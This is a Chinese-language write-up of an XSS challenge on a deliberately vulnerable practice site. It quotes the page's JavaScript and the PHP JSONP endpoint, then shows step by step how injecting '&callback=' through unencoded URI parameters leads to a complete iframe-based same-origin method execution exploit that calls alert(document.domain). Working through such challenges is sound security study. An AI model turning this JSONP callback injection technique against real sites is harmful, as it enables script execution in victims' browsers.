我最近发现了一个大佬出的一道xss题,需要我们执行alert(document.domain)
。
我们可以使用SOME攻击来实现XSS。
在index.html
页面主要的一段JavaScript代码:
var callback = function(msg) { result.innerHTML = msg; } document.addEventListener('DOMContentLoaded', function(event) { if (getQuery('code')) { var code = getQuery('code'); c.value = code; checkCode(code); } }); form.addEventListener('submit', function(event) { checkCode(c.value); event.preventDefault(); }); function checkCode(code) { var s = document.createElement('script'); s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`; document.body.appendChild(s); } function getQuery(name) { return new URL(location.href).searchParams.get(name); }
两个监听器都是对同一个东西的监听,只不过方法不同,一个是获取code参数,一个是表单提交,这就造了提交payload的差异。
还需要注意的是checkCode函数,它会使用encodeURI对code参数进行url进行编码。
对于check_code.php
源码:
<?php $callback = "callback"; if (isset($_GET['callback'])) { $callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']); } $key = ""; if (isset($_GET['code'])) { $key = $_GET['code']; } if (mb_strlen($key, "UTF-8") <= 10) { if ($key == "XSS_ME") { $result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!"; } else { $result = "Invalid code: '$key'"; } } else { $result = "Invalid code: too long"; } $json = json_encode($result, JSON_HEX_TAG); header('X-XSS-Protection: 0'); header('X-Content-Type-Options: nosniff'); header('Content-Type: text/javascript; charset=utf-8'); print "$callback($json)"
在check_code.php
中的限制:
/[^a-z0-9.]+/i
对callback参数的过滤控制。length<=10
对code参数的过滤控制,只要长度限制,没有字符限制。最终php文件返回值中的$json
中都会有字符串Invalid code:
,这个会影响我们的payload的构造。
我们通过在code参数中指定准备好的有效负载来实现SOME,该负载通过使用固定的callback参数和部分由攻击者控制的功能参数加载JSONP端点 。
此外,要实现对JSONP中使用的callback参数的控制,必须滥用 在checkCode函数中不安全地使用encodeURI。
由于encodeURI
不对&
字符进行编码,因此可以在code参数中发送&callback =
来覆盖其原有值(codeback=codeback
)(如果url参数重复出现,服务器使用给定参数的最后一次出现的值而不是第一个)。
所以我们可以在表单中提交1&callback=alert
来触发弹窗。如图:
我们还可以在url上使用code参数来触发弹窗,比如?code=1%26callback=alert
。&的url编码就是%26
。
但是我们需要执行alert(document.domain)
,而且对code参数有长度限制。所以无法直接执行。
这时我们就可以使用SOME攻击,使用iframe来实现同源方法执行,使用使用src属性来确保在同一个来源。
例如对于alert(1)
:
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe> <iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe> <script> function loadIframe(payload){ return new Promise(resolve => { m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=alert`; m.onload = function(){ return resolve(this); } }); } async function go(){ await loadIframe("1"); } </script>
对于alert(document.domain)
,我们借助多个iframe和相同来源的跨iframe操作,通过编写HTML和JavaScript代码将payload(<script>eval(top[2].name)</script>
)包含到iframe框架的DOM,将alert(document.domain)
添加到name
属性中。
因为长度的限制,我们还需要使用document.write
来逐步建立payload。
并且有多余字符串Invalid code:
的干扰,需要注释符来注释这些多余的字符串。
所以最终exp:
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe> <iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe> <iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe> <script> function loadIframe(payload){ return new Promise(resolve => { m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`; m.onload = function(){ return resolve(this); } }); } async function go(){ await loadIframe("<script>/*"); await loadIframe("*/eval(/*"); await loadIframe("*/top[2]/*"); await loadIframe("*/.name)//"); await loadIframe("<\/script>"); } </script>